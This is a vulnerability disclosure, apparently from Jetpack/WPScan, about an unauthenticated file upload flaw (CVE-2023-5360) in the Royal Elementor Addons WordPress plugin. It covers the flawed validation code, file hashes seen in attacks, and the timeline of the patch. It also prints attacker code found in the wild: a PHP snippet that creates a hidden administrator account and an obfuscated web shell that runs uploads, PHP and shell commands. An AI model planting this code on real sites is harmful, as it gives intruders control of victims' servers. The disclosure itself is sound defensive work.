During an investigation of a series of website being actively compromised we noticed the constant presence of the Royal Elementor Addons and Templates plugin installed. And all sites had at least one malicious file dropped into the /wpr‑addons/forms/ directory.
As we reviewed the plugin it was found that the upload ajax action wasn’t properly validating the uploaded file’s extensions, allowing bad actors to bypass the check and drop malicious files to the /wpr‑addons/forms/ directory.
Upon identifying the vulnerability, we promptly alerted the plugin development team, who released version 1.3.79 to fix the issue. It is crucial for administrators to ensure their WordPress installations are fully updated to safeguard against this vulnerability.
UPDATE – In the course of the plugin update, an unpatched version of the plugin was released with an incorrect version number. The version number released was 1.4.78
and this version is vulnerable. Furthermore, since the patched version is 1.3.79
, any site with version 1.4.78
installed will not automatically update to the patched version. Instead, the plugin should be removed, and reinstalled from scratch in order to get the patched version.
The Vulnerability
Unauthenticated Arbitrary File Upload
- Affected Royal Elementor Addons and Templates Versions: < 1.3.79
- CVE-ID: CVE-2023-5360
- WPVDB ID: https://wpscan.com/vulnerability/281518ff‑7816‑4007‑b712‑63aed7828b34/
- CVSSv3.1: 10.0
The plugin allows users to upload files and relied on a simple extension validation to make sure only allowed file types were uploaded.
private function file_validity( $file ) {
// File type validation
if ( empty( $_POST['allowed_file_types'] ) ) {
$allowed_file_types = 'jpg,jpeg,png,gif,pdf,doc,docx,ppt,pptx,odt,avi,ogg,m4a,mov,mp3,mp4,mpg,wav,wmv,txt';
} else {
$allowed_file_types = $_POST['allowed_file_types'];
}
$f_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
$allowed_file_types = explode( ',', $allowed_file_types );
$allowed_file_types = array_map( 'trim', $allowed_file_types );
$allowed_file_types = array_map( 'strtolower', $allowed_file_types );
$f_extension = strtolower( $f_extension );
return ( in_array( $f_extension, $allowed_file_types ) && !in_array( $f_extension, $this->get_exclusion_list() ) );
}
private function get_exclusion_list() {
static $exclusionlist = false;
if ( ! $exclusionlist ) {
$exclusionlist = [
'php',
'php3',
'php4',
'php5',
'php6',
'phps',
'php7',
'phtml',
'shtml',
'pht',
'swf',
'html',
'asp',
'aspx',
'cmd',
'csh',
'bat',
'htm',
'hta',
'jar',
'exe',
'com',
'js',
'lnk',
'htaccess',
'htpasswd',
'phtml',
'ps1',
'ps2',
'py',
'rb',
'tmp',
'cgi',
'svg',
];
}
Although somewhat effective, the function allowed unauthenticated users to manipulate the list of allowed extensions, and it was called before an important manipulation of the filename:
$filename = wp_unique_filename($upload_path, $file['name']);
Upon investigation we found that wp_unique_filename WordPress function performs file name and extensions sanitization and, when combined with the file_validity function would enable bad actors to manipulate the input and bypass the checks.
Exploitation
This vulnerability is being exploited in‑the‑wild and the main Indicator‑of‑Compromise is the presence of PHP files inside /wpr‑addons/forms/ directory.
Dropped files may vary but so far we found the following file hashes being dropped:
File Hash (SHA-1) | Occurrences |
20cdc2106ccda6f555c6e6a5b3e500e5 | 516 |
b2bee44cb332cda93ccb98ff30aeb22f | 134 |
3329941816e61f1e297ffcc769a88163 | 86 |
a82d39daa52ea01f17b1ae8bd23ccb6b | 52 |
6dd792961a393a293337af69d2471659 | 33 |
6dd2d48404a766ae76465d05e8ffc21a | 23 |
6b7ad345faa9315672d378559052a65a | 15 |
414e2da0af038efb797c0f49f7de259d | 11 |
62a8359b1bdb095ea621ee62d8fc6a4a | 10 |
a2baf686cc7fd97abf306ce934a59347 | 9 |
It was also found that after a successful attack, bad actors will upload a malicious file that will try to create an WordPress admin user called wordpress_administrator:
if (($_SERVER['REQUEST_METHOD'] == "POST") && (isset($_POST["CREATE"]))) {
$password = wp_generate_password();
$userData = array(
'user_pass' => "wordpress_administrator",
'user_login' => "wordpress_administrator",
'user_nicename' => "wordpress_administrator",
'user_email' => "wordpress_administrator",
'display_name' => "wordpress_administrator",
'role' => 'administrator'
);
$user_id = wp_insert_user($userData);
// Make the user a super admin.
grant_super_admin( $user_id );
};
Another malware is commonly uploaded, meaning that it may be related to the same exploit‑kit being used in the wild:
<?php
goto IRGg0; IRGg0: ?>
<style>body{background-color:#000;color:#fff}</style><form action=""enctype="multipart/form-data"id="uploader"method="post"name="uploader"><input name="file"type="file"size="50"><input name="_upl"id="_upl"type="submit"value="Upload"><br><br><label for="">PHP command</label><input name="phpcmd"id=""><input name="_upl"id="_upl"type="submit"value="run php command"><br><br><label for="">Shell command</label><input name="shellcmd"id=""><input name="_upl"id="_upl"type="submit"value="run shell command"></form>
<?php goto HCwez; z4H36: if ($_POST["137x75160154"] == "162x75x6ex20x73x68x6515415440143x6fx6d155x61156144") { $tmpFile = tempnam(sys_get_temp_dir(), "x64171156141x6dx69143"); $fileHandle = fopen($tmpFile, "167"); $tmp = $_POST["x73150145154154143155144"]; $vari = "7477x70150160x20145x63150x6f50100163x68145154x6c137145x78145x6350x22" . $tmp . "x22x29x2973x3f76"; fwrite($fileHandle, $vari); fclose($fileHandle); ob_start();
include $tmpFile; $output = ob_get_clean(); unlink($tmpFile); echo $output; } goto eUXJ_; HCwez: if ($_POST["x5f165x70x6c"] == "x55x70154157x61144") { if (@copy($_FILES["146x69154x65"]["164x6dx70137x6ex61x6d145"], $_FILES["146151x6c145"]["x6e141x6d145"])) { } } goto el5O1; el5O1: if ($_POST["137x75160154"] == "16216515640x70x68x70x20143x6fx6dx6dx61x6ex64") { $tmpFile = tempnam(sys_get_temp_dir(), "x64x79156x61155x69x63");
$fileHandle = fopen($tmpFile, "167"); $tmp = base64_decode($_POST["160150x70x63x6dx64"]); $vari = "74x3fx70x68x7040x65143150157x28" . $tmp . "517377x3e"; fwrite($fileHandle, $vari); fclose($fileHandle); ob_start(); include $tmpFile; $output = ob_get_clean(); unlink($tmpFile); echo $output; } goto z4H36; eUXJ_: ?>
A proof of concept will be made available on the WPScan entry for this issue on 2023‑11‑17.
Timeline
- 2023‑10‑03 – Details of the vulnerability sent to the vendor
- 2023‑10‑05 – Vendor answered requesting a review on their fix.
- 2023‑10‑06 – Vendor released the new version with the fix.
Conclusion
We encourage you to check the version of the Royal Elementor Addons and Templates plugin in use on your site, and if it is within the affected range, perform an update as soon as possible.
At Jetpack, we work hard to make sure your websites are protected from these types of vulnerabilities. We recommend that you have a security plan for your site that includes malicious file scanning and backups. Jetpack Security is one great WordPress security option to ensure your site and visitors are safe.
Credits
Original research: Fioravante Souza & Marc Montpas
Thanks to the rest of the WPScan team for feedback, help, and corrections. And hat tip for Brandon Steed for bringing the issue to our attention.
Leave a Reply